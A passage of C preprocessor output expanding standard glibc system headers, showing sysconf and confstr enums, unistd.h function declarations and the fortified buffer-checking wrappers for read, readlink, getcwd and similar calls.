    _SC_BC_SCALE_MAX,

    _SC_BC_STRING_MAX,

    _SC_COLL_WEIGHTS_MAX,

    _SC_EQUIV_CLASS_MAX,

    _SC_EXPR_NEST_MAX,

    _SC_LINE_MAX,

    _SC_RE_DUP_MAX,

    _SC_CHARCLASS_NAME_MAX,


    _SC_2_VERSION,

    _SC_2_C_BIND,

    _SC_2_C_DEV,

    _SC_2_FORT_DEV,

    _SC_2_FORT_RUN,

    _SC_2_SW_DEV,

    _SC_2_LOCALEDEF,


    _SC_PII,

    _SC_PII_XTI,

    _SC_PII_SOCKET,

    _SC_PII_INTERNET,

    _SC_PII_OSI,

    _SC_POLL,

    _SC_SELECT,

    _SC_UIO_MAXIOV,

    _SC_IOV_MAX = _SC_UIO_MAXIOV,

    _SC_PII_INTERNET_STREAM,

    _SC_PII_INTERNET_DGRAM,

    _SC_PII_OSI_COTS,

    _SC_PII_OSI_CLTS,

    _SC_PII_OSI_M,

    _SC_T_IOV_MAX,



    _SC_THREADS,

    _SC_THREAD_SAFE_FUNCTIONS,

    _SC_GETGR_R_SIZE_MAX,

    _SC_GETPW_R_SIZE_MAX,

    _SC_LOGIN_NAME_MAX,

    _SC_TTY_NAME_MAX,

    _SC_THREAD_DESTRUCTOR_ITERATIONS,

    _SC_THREAD_KEYS_MAX,

    _SC_THREAD_STACK_MIN,

    _SC_THREAD_THREADS_MAX,

    _SC_THREAD_ATTR_STACKADDR,

    _SC_THREAD_ATTR_STACKSIZE,

    _SC_THREAD_PRIORITY_SCHEDULING,

    _SC_THREAD_PRIO_INHERIT,

    _SC_THREAD_PRIO_PROTECT,

    _SC_THREAD_PROCESS_SHARED,


    _SC_NPROCESSORS_CONF,

    _SC_NPROCESSORS_ONLN,

    _SC_PHYS_PAGES,

    _SC_AVPHYS_PAGES,

    _SC_ATEXIT_MAX,

    _SC_PASS_MAX,


    _SC_XOPEN_VERSION,

    _SC_XOPEN_XCU_VERSION,

    _SC_XOPEN_UNIX,

    _SC_XOPEN_CRYPT,

    _SC_XOPEN_ENH_I18N,

    _SC_XOPEN_SHM,


    _SC_2_CHAR_TERM,

    _SC_2_C_VERSION,

    _SC_2_UPE,


    _SC_XOPEN_XPG2,

    _SC_XOPEN_XPG3,

    _SC_XOPEN_XPG4,


    _SC_CHAR_BIT,

    _SC_CHAR_MAX,

    _SC_CHAR_MIN,

    _SC_INT_MAX,

    _SC_INT_MIN,

    _SC_LONG_BIT,

    _SC_WORD_BIT,

    _SC_MB_LEN_MAX,

    _SC_NZERO,

    _SC_SSIZE_MAX,

    _SC_SCHAR_MAX,

    _SC_SCHAR_MIN,

    _SC_SHRT_MAX,

    _SC_SHRT_MIN,

    _SC_UCHAR_MAX,

    _SC_UINT_MAX,

    _SC_ULONG_MAX,

    _SC_USHRT_MAX,


    _SC_NL_ARGMAX,

    _SC_NL_LANGMAX,

    _SC_NL_MSGMAX,

    _SC_NL_NMAX,

    _SC_NL_SETMAX,

    _SC_NL_TEXTMAX,


    _SC_XBS5_ILP32_OFF32,

    _SC_XBS5_ILP32_OFFBIG,

    _SC_XBS5_LP64_OFF64,

    _SC_XBS5_LPBIG_OFFBIG,


    _SC_XOPEN_LEGACY,

    _SC_XOPEN_REALTIME,

    _SC_XOPEN_REALTIME_THREADS,


    _SC_ADVISORY_INFO,

    _SC_BARRIERS,

    _SC_BASE,

    _SC_C_LANG_SUPPORT,

    _SC_C_LANG_SUPPORT_R,

    _SC_CLOCK_SELECTION,

    _SC_CPUTIME,

    _SC_THREAD_CPUTIME,

    _SC_DEVICE_IO,

    _SC_DEVICE_SPECIFIC,

    _SC_DEVICE_SPECIFIC_R,

    _SC_FD_MGMT,

    _SC_FIFO,

    _SC_PIPE,

    _SC_FILE_ATTRIBUTES,

    _SC_FILE_LOCKING,

    _SC_FILE_SYSTEM,

    _SC_MONOTONIC_CLOCK,

    _SC_MULTI_PROCESS,

    _SC_SINGLE_PROCESS,

    _SC_NETWORKING,

    _SC_READER_WRITER_LOCKS,

    _SC_SPIN_LOCKS,

    _SC_REGEXP,

    _SC_REGEX_VERSION,

    _SC_SHELL,

    _SC_SIGNALS,

    _SC_SPAWN,

    _SC_SPORADIC_SERVER,

    _SC_THREAD_SPORADIC_SERVER,

    _SC_SYSTEM_DATABASE,

    _SC_SYSTEM_DATABASE_R,

    _SC_TIMEOUTS,

    _SC_TYPED_MEMORY_OBJECTS,

    _SC_USER_GROUPS,

    _SC_USER_GROUPS_R,

    _SC_2_PBS,

    _SC_2_PBS_ACCOUNTING,

    _SC_2_PBS_LOCATE,

    _SC_2_PBS_MESSAGE,

    _SC_2_PBS_TRACK,

    _SC_SYMLOOP_MAX,

    _SC_STREAMS,

    _SC_2_PBS_CHECKPOINT,


    _SC_V6_ILP32_OFF32,

    _SC_V6_ILP32_OFFBIG,

    _SC_V6_LP64_OFF64,

    _SC_V6_LPBIG_OFFBIG,


    _SC_HOST_NAME_MAX,

    _SC_TRACE,

    _SC_TRACE_EVENT_FILTER,

    _SC_TRACE_INHERIT,

    _SC_TRACE_LOG,


    _SC_LEVEL1_ICACHE_SIZE,

    _SC_LEVEL1_ICACHE_ASSOC,

    _SC_LEVEL1_ICACHE_LINESIZE,

    _SC_LEVEL1_DCACHE_SIZE,

    _SC_LEVEL1_DCACHE_ASSOC,

    _SC_LEVEL1_DCACHE_LINESIZE,

    _SC_LEVEL2_CACHE_SIZE,

    _SC_LEVEL2_CACHE_ASSOC,

    _SC_LEVEL2_CACHE_LINESIZE,

    _SC_LEVEL3_CACHE_SIZE,

    _SC_LEVEL3_CACHE_ASSOC,

    _SC_LEVEL3_CACHE_LINESIZE,

    _SC_LEVEL4_CACHE_SIZE,

    _SC_LEVEL4_CACHE_ASSOC,

    _SC_LEVEL4_CACHE_LINESIZE,



    _SC_IPV6 = _SC_LEVEL1_ICACHE_SIZE + 50,

    _SC_RAW_SOCKETS,


    _SC_V7_ILP32_OFF32,

    _SC_V7_ILP32_OFFBIG,

    _SC_V7_LP64_OFF64,

    _SC_V7_LPBIG_OFFBIG,


    _SC_SS_REPL_MAX,


    _SC_TRACE_EVENT_NAME_MAX,

    _SC_TRACE_NAME_MAX,

    _SC_TRACE_SYS_MAX,

    _SC_TRACE_USER_EVENT_MAX,


    _SC_XOPEN_STREAMS,


    _SC_THREAD_ROBUST_PRIO_INHERIT,

    _SC_THREAD_ROBUST_PRIO_PROTECT

  };


enum
  {
    _CS_PATH,


    _CS_V6_WIDTH_RESTRICTED_ENVS,



    _CS_GNU_LIBC_VERSION,

    _CS_GNU_LIBPTHREAD_VERSION,


    _CS_V5_WIDTH_RESTRICTED_ENVS,



    _CS_V7_WIDTH_RESTRICTED_ENVS,



    _CS_LFS_CFLAGS = 1000,

    _CS_LFS_LDFLAGS,

    _CS_LFS_LIBS,

    _CS_LFS_LINTFLAGS,

    _CS_LFS64_CFLAGS,

    _CS_LFS64_LDFLAGS,

    _CS_LFS64_LIBS,

    _CS_LFS64_LINTFLAGS,


    _CS_XBS5_ILP32_OFF32_CFLAGS = 1100,

    _CS_XBS5_ILP32_OFF32_LDFLAGS,

    _CS_XBS5_ILP32_OFF32_LIBS,

    _CS_XBS5_ILP32_OFF32_LINTFLAGS,

    _CS_XBS5_ILP32_OFFBIG_CFLAGS,

    _CS_XBS5_ILP32_OFFBIG_LDFLAGS,

    _CS_XBS5_ILP32_OFFBIG_LIBS,

    _CS_XBS5_ILP32_OFFBIG_LINTFLAGS,

    _CS_XBS5_LP64_OFF64_CFLAGS,

    _CS_XBS5_LP64_OFF64_LDFLAGS,

    _CS_XBS5_LP64_OFF64_LIBS,

    _CS_XBS5_LP64_OFF64_LINTFLAGS,

    _CS_XBS5_LPBIG_OFFBIG_CFLAGS,

    _CS_XBS5_LPBIG_OFFBIG_LDFLAGS,

    _CS_XBS5_LPBIG_OFFBIG_LIBS,

    _CS_XBS5_LPBIG_OFFBIG_LINTFLAGS,


    _CS_POSIX_V6_ILP32_OFF32_CFLAGS,

    _CS_POSIX_V6_ILP32_OFF32_LDFLAGS,

    _CS_POSIX_V6_ILP32_OFF32_LIBS,

    _CS_POSIX_V6_ILP32_OFF32_LINTFLAGS,

    _CS_POSIX_V6_ILP32_OFFBIG_CFLAGS,

    _CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS,

    _CS_POSIX_V6_ILP32_OFFBIG_LIBS,

    _CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS,

    _CS_POSIX_V6_LP64_OFF64_CFLAGS,

    _CS_POSIX_V6_LP64_OFF64_LDFLAGS,

    _CS_POSIX_V6_LP64_OFF64_LIBS,

    _CS_POSIX_V6_LP64_OFF64_LINTFLAGS,

    _CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS,

    _CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS,

    _CS_POSIX_V6_LPBIG_OFFBIG_LIBS,

    _CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS,


    _CS_POSIX_V7_ILP32_OFF32_CFLAGS,

    _CS_POSIX_V7_ILP32_OFF32_LDFLAGS,

    _CS_POSIX_V7_ILP32_OFF32_LIBS,

    _CS_POSIX_V7_ILP32_OFF32_LINTFLAGS,

    _CS_POSIX_V7_ILP32_OFFBIG_CFLAGS,

    _CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS,

    _CS_POSIX_V7_ILP32_OFFBIG_LIBS,

    _CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS,

    _CS_POSIX_V7_LP64_OFF64_CFLAGS,

    _CS_POSIX_V7_LP64_OFF64_LDFLAGS,

    _CS_POSIX_V7_LP64_OFF64_LIBS,

    _CS_POSIX_V7_LP64_OFF64_LINTFLAGS,

    _CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS,

    _CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS,

    _CS_POSIX_V7_LPBIG_OFFBIG_LIBS,

    _CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS,


    _CS_V6_ENV,

    _CS_V7_ENV

  };
# 611 "/usr/include/unistd.h" 2 3 4


extern long int pathconf (__const char *__path, int __name)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern long int fpathconf (int __fd, int __name) __attribute__ ((__nothrow__ , __leaf__));


extern long int sysconf (int __name) __attribute__ ((__nothrow__ , __leaf__));



extern size_t confstr (int __name, char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__));




extern __pid_t getpid (void) __attribute__ ((__nothrow__ , __leaf__));


extern __pid_t getppid (void) __attribute__ ((__nothrow__ , __leaf__));




extern __pid_t getpgrp (void) __attribute__ ((__nothrow__ , __leaf__));
# 647 "/usr/include/unistd.h" 3 4
extern __pid_t __getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__));

extern __pid_t getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__));






extern int setpgid (__pid_t __pid, __pid_t __pgid) __attribute__ ((__nothrow__ , __leaf__));
# 673 "/usr/include/unistd.h" 3 4
extern int setpgrp (void) __attribute__ ((__nothrow__ , __leaf__));
# 690 "/usr/include/unistd.h" 3 4
extern __pid_t setsid (void) __attribute__ ((__nothrow__ , __leaf__));



extern __pid_t getsid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__));



extern __uid_t getuid (void) __attribute__ ((__nothrow__ , __leaf__));


extern __uid_t geteuid (void) __attribute__ ((__nothrow__ , __leaf__));


extern __gid_t getgid (void) __attribute__ ((__nothrow__ , __leaf__));


extern __gid_t getegid (void) __attribute__ ((__nothrow__ , __leaf__));




extern int getgroups (int __size, __gid_t __list[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 723 "/usr/include/unistd.h" 3 4
extern int setuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__));




extern int setreuid (__uid_t __ruid, __uid_t __euid) __attribute__ ((__nothrow__ , __leaf__));




extern int seteuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__));






extern int setgid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__));




extern int setregid (__gid_t __rgid, __gid_t __egid) __attribute__ ((__nothrow__ , __leaf__));




extern int setegid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__));
# 779 "/usr/include/unistd.h" 3 4
extern __pid_t fork (void) __attribute__ ((__nothrow__));







extern __pid_t vfork (void) __attribute__ ((__nothrow__ , __leaf__));





extern char *ttyname (int __fd) __attribute__ ((__nothrow__ , __leaf__));



extern int ttyname_r (int __fd, char *__buf, size_t __buflen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) __attribute__ ((__warn_unused_result__));



extern int isatty (int __fd) __attribute__ ((__nothrow__ , __leaf__));





extern int ttyslot (void) __attribute__ ((__nothrow__ , __leaf__));




extern int link (__const char *__from, __const char *__to)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__));




extern int linkat (int __fromfd, __const char *__from, int __tofd,
     __const char *__to, int __flags)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))) __attribute__ ((__warn_unused_result__));




extern int symlink (__const char *__from, __const char *__to)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__));




extern ssize_t readlink (__const char *__restrict __path,
    char *__restrict __buf, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__));




extern int symlinkat (__const char *__from, int __tofd,
        __const char *__to) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 3))) __attribute__ ((__warn_unused_result__));


extern ssize_t readlinkat (int __fd, __const char *__restrict __path,
      char *__restrict __buf, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__));



extern int unlink (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));



extern int unlinkat (int __fd, __const char *__name, int __flag)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));



extern int rmdir (__const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));



extern __pid_t tcgetpgrp (int __fd) __attribute__ ((__nothrow__ , __leaf__));


extern int tcsetpgrp (int __fd, __pid_t __pgrp_id) __attribute__ ((__nothrow__ , __leaf__));






extern char *getlogin (void);







extern int getlogin_r (char *__name, size_t __name_len) __attribute__ ((__nonnull__ (1)));




extern int setlogin (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 894 "/usr/include/unistd.h" 3 4
# 1 "/usr/include/getopt.h" 1 3 4
# 59 "/usr/include/getopt.h" 3 4
extern char *optarg;
# 73 "/usr/include/getopt.h" 3 4
extern int optind;




extern int opterr;



extern int optopt;
# 152 "/usr/include/getopt.h" 3 4
extern int getopt (int ___argc, char *const *___argv, const char *__shortopts)
       __attribute__ ((__nothrow__ , __leaf__));
# 895 "/usr/include/unistd.h" 2 3 4







extern int gethostname (char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));






extern int sethostname (__const char *__name, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));



extern int sethostid (long int __id) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));





extern int getdomainname (char *__name, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
extern int setdomainname (__const char *__name, size_t __len)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));





extern int vhangup (void) __attribute__ ((__nothrow__ , __leaf__));


extern int revoke (__const char *__file) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));







extern int profil (unsigned short int *__sample_buffer, size_t __size,
     size_t __offset, unsigned int __scale)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





extern int acct (__const char *__name) __attribute__ ((__nothrow__ , __leaf__));



extern char *getusershell (void) __attribute__ ((__nothrow__ , __leaf__));
extern void endusershell (void) __attribute__ ((__nothrow__ , __leaf__));
extern void setusershell (void) __attribute__ ((__nothrow__ , __leaf__));





extern int daemon (int __nochdir, int __noclose) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));






extern int chroot (__const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));



extern char *getpass (__const char *__prompt) __attribute__ ((__nonnull__ (1)));
# 980 "/usr/include/unistd.h" 3 4
extern int fsync (int __fd);
# 994 "/usr/include/unistd.h" 3 4
extern long int gethostid (void);


extern void sync (void) __attribute__ ((__nothrow__ , __leaf__));





extern int getpagesize (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));




extern int getdtablesize (void) __attribute__ ((__nothrow__ , __leaf__));
# 1022 "/usr/include/unistd.h" 3 4
extern int truncate (__const char *__file, __off64_t __length) __asm__ ("" "truncate64") __attribute__ ((__nothrow__ , __leaf__))

                  __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
# 1043 "/usr/include/unistd.h" 3 4
extern int ftruncate (int __fd, __off64_t __length) __asm__ ("" "ftruncate64") __attribute__ ((__nothrow__ , __leaf__))
                   __attribute__ ((__warn_unused_result__));
# 1061 "/usr/include/unistd.h" 3 4
extern int brk (void *__addr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));





extern void *sbrk (intptr_t __delta) __attribute__ ((__nothrow__ , __leaf__));
# 1082 "/usr/include/unistd.h" 3 4
extern long int syscall (long int __sysno, ...) __attribute__ ((__nothrow__ , __leaf__));
# 1108 "/usr/include/unistd.h" 3 4
extern int lockf (int __fd, int __cmd, __off64_t __len) __asm__ ("" "lockf64")
                  __attribute__ ((__warn_unused_result__));
# 1136 "/usr/include/unistd.h" 3 4
extern int fdatasync (int __fildes);
# 1165 "/usr/include/unistd.h" 3 4
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));





# 1 "/usr/include/bits/unistd.h" 1 3 4
# 24 "/usr/include/bits/unistd.h" 3 4
extern ssize_t __read_chk (int __fd, void *__buf, size_t __nbytes,
      size_t __buflen) __attribute__ ((__warn_unused_result__));
extern ssize_t __read_alias (int __fd, void *__buf, size_t __nbytes) __asm__ ("" "read")
                               __attribute__ ((__warn_unused_result__));
extern ssize_t __read_chk_warn (int __fd, void *__buf, size_t __nbytes, size_t __buflen) __asm__ ("" "__read_chk")


     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("read called with bigger length than size of " "the destination buffer")))
                                  ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) ssize_t
read (int __fd, void *__buf, size_t __nbytes)
{
  if (__builtin_object_size (__buf, 0) != (size_t) -1)
    {
      if (!__builtin_constant_p (__nbytes))
 return __read_chk (__fd, __buf, __nbytes, __builtin_object_size (__buf, 0));

      if (__nbytes > __builtin_object_size (__buf, 0))
 return __read_chk_warn (__fd, __buf, __nbytes, __builtin_object_size (__buf, 0));
    }
  return __read_alias (__fd, __buf, __nbytes);
}
# 124 "/usr/include/bits/unistd.h" 3 4
extern ssize_t __readlink_chk (__const char *__restrict __path,
          char *__restrict __buf, size_t __len,
          size_t __buflen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__));
extern ssize_t __readlink_alias (__const char *__restrict __path, char *__restrict __buf, size_t __len) __asm__ ("" "readlink") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__));
extern ssize_t __readlink_chk_warn (__const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen) __asm__ ("" "__readlink_chk") __attribute__ ((__nothrow__ , __leaf__))



     __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("readlink called with bigger length " "than size of destination buffer")))
                                         ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)) ssize_t
__attribute__ ((__nothrow__ , __leaf__)) readlink (__const char *__restrict __path, char *__restrict __buf, size_t __len)

{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__len))
 return __readlink_chk (__path, __buf, __len, __builtin_object_size (__buf, 2 > 1));

      if ( __len > __builtin_object_size (__buf, 2 > 1))
 return __readlink_chk_warn (__path, __buf, __len, __builtin_object_size (__buf, 2 > 1));
    }
  return __readlink_alias (__path, __buf, __len);
}



extern ssize_t __readlinkat_chk (int __fd, __const char *__restrict __path,
     char *__restrict __buf, size_t __len,
     size_t __buflen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__));
extern ssize_t __readlinkat_alias (int __fd, __const char *__restrict __path, char *__restrict __buf, size_t __len) __asm__ ("" "readlinkat") __attribute__ ((__nothrow__ , __leaf__))



     __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__));
extern ssize_t __readlinkat_chk_warn (int __fd, __const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen) __asm__ ("" "__readlinkat_chk") __attribute__ ((__nothrow__ , __leaf__))



     __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("readlinkat called with bigger " "length than size of destination " "buffer")))

                ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)) ssize_t
__attribute__ ((__nothrow__ , __leaf__)) readlinkat (int __fd, __const char *__restrict __path, char *__restrict __buf, size_t __len)

{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__len))
 return __readlinkat_chk (__fd, __path, __buf, __len, __builtin_object_size (__buf, 2 > 1));

      if (__len > __builtin_object_size (__buf, 2 > 1))
 return __readlinkat_chk_warn (__fd, __path, __buf, __len,
          __builtin_object_size (__buf, 2 > 1));
    }
  return __readlinkat_alias (__fd, __path, __buf, __len);
}


extern char *__getcwd_chk (char *__buf, size_t __size, size_t __buflen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
extern char *__getcwd_alias (char *__buf, size_t __size) __asm__ ("" "getcwd") __attribute__ ((__nothrow__ , __leaf__))
                                              __attribute__ ((__warn_unused_result__));
extern char *__getcwd_chk_warn (char *__buf, size_t __size, size_t __buflen) __asm__ ("" "__getcwd_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("getcwd caller with bigger length than size of " "destination buffer")))
                              ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char *
__attribute__ ((__nothrow__ , __leaf__)) getcwd (char *__buf, size_t __size)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__size))
 return __getcwd_chk (__buf, __size, __builtin_object_size (__buf, 2 > 1));

      if (__size > __builtin_object_size (__buf, 2 > 1))
 return __getcwd_chk_warn (__buf, __size, __builtin_object_size (__buf, 2 > 1));
    }
  return __getcwd_alias (__buf, __size);
}


extern char *__getwd_chk (char *__buf, size_t buflen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));
extern char *__getwd_warn (char *__buf) __asm__ ("" "getwd") __attribute__ ((__nothrow__ , __leaf__))
     __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("please use getcwd instead, as getwd " "doesn't specify buffer size")))
                                         ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__deprecated__)) __attribute__ ((__warn_unused_result__)) char *
__attribute__ ((__nothrow__ , __leaf__)) getwd (char *__buf)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    return __getwd_chk (__buf, __builtin_object_size (__buf, 2 > 1));
  return __getwd_warn (__buf);
}


extern size_t __confstr_chk (int __name, char *__buf, size_t __len,
        size_t __buflen) __attribute__ ((__nothrow__ , __leaf__));
extern size_t __confstr_alias (int __name, char *__buf, size_t __len) __asm__ ("" "confstr") __attribute__ ((__nothrow__ , __leaf__))
                             ;
extern size_t __confstr_chk_warn (int __name, char *__buf, size_t __len, size_t __buflen) __asm__ ("" "__confstr_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__((__warning__ ("confstr called with bigger length than size of destination " "buffer")))
            ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) size_t
__attribute__ ((__nothrow__ , __leaf__)) confstr (int __name, char *__buf, size_t __len)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__len))
 return __confstr_chk (__name, __buf, __len, __builtin_object_size (__buf, 2 > 1));

      if (__builtin_object_size (__buf, 2 > 1) < __len)
 return __confstr_chk_warn (__name, __buf, __len, __builtin_object_size (__buf, 2 > 1));
    }
  return __confstr_alias (__name, __buf, __len);
}


extern int __getgroups_chk (int __size, __gid_t __list[], size_t __listlen)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
extern int __getgroups_alias (int __size, __gid_t __list[]) __asm__ ("" "getgroups") __attribute__ ((__nothrow__ , __leaf__))
                 __attribute__ ((__warn_unused_result__));
extern int __getgroups_chk_warn (int __size, __gid_t __list[], size_t __listlen) __asm__ ("" "__getgroups_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("getgroups called with bigger group count than what " "can fit into destination buffer")))
                                           ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) getgroups (int __size, __gid_t __list[])
{
  if (__builtin_object_size (__list, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__size) || __size < 0)
 return __getgroups_chk (__size, __list, __builtin_object_size (__list, 2 > 1));

      if (__size * sizeof (__gid_t) > __builtin_object_size (__list, 2 > 1))
 return __getgroups_chk_warn (__size, __list, __builtin_object_size (__list, 2 > 1));
    }
  return __getgroups_alias (__size, __list);
}


extern int __ttyname_r_chk (int __fd, char *__buf, size_t __buflen,
       size_t __nreal) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int __ttyname_r_alias (int __fd, char *__buf, size_t __buflen) __asm__ ("" "ttyname_r") __attribute__ ((__nothrow__ , __leaf__))

     __attribute__ ((__nonnull__ (2)));
extern int __ttyname_r_chk_warn (int __fd, char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__ttyname_r_chk") __attribute__ ((__nothrow__ , __leaf__))


     __attribute__ ((__nonnull__ (2))) __attribute__((__warning__ ("ttyname_r called with bigger buflen than " "size of destination buffer")))
                                  ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) ttyname_r (int __fd, char *__buf, size_t __buflen)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__buflen))
 return __ttyname_r_chk (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1));

      if (__buflen > __builtin_object_size (__buf, 2 > 1))
 return __ttyname_r_chk_warn (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1));
    }
  return __ttyname_r_alias (__fd, __buf, __buflen);
}



extern int __getlogin_r_chk (char *__buf, size_t __buflen, size_t __nreal)
     __attribute__ ((__nonnull__ (1)));
extern int __getlogin_r_alias (char *__buf, size_t __buflen) __asm__ ("" "getlogin_r")
                     __attribute__ ((__nonnull__ (1)));
extern int __getlogin_r_chk_warn (char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__getlogin_r_chk")


     __attribute__ ((__nonnull__ (1))) __attribute__((__warning__ ("getlogin_r called with bigger buflen than " "size of destination buffer")))
                                  ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
getlogin_r (char *__buf, size_t __buflen)
{
  if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__buflen))
 return __getlogin_r_chk (__buf, __buflen, __builtin_object_size (__buf, 2 > 1));

      if (__buflen > __builtin_object_size (__buf, 2 > 1))
 return __getlogin_r_chk_warn (__buf, __buflen, __builtin_object_size (__buf, 2 > 1));
    }
  return __getlogin_r_alias (__buf, __buflen);
}




extern int __gethostname_chk (char *__buf, size_t __buflen, size_t __nreal)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int __gethostname_alias (char *__buf, size_t __buflen) __asm__ ("" "gethostname") __attribute__ ((__nothrow__ , __leaf__))
                   __attribute__ ((__nonnull__ (1)));
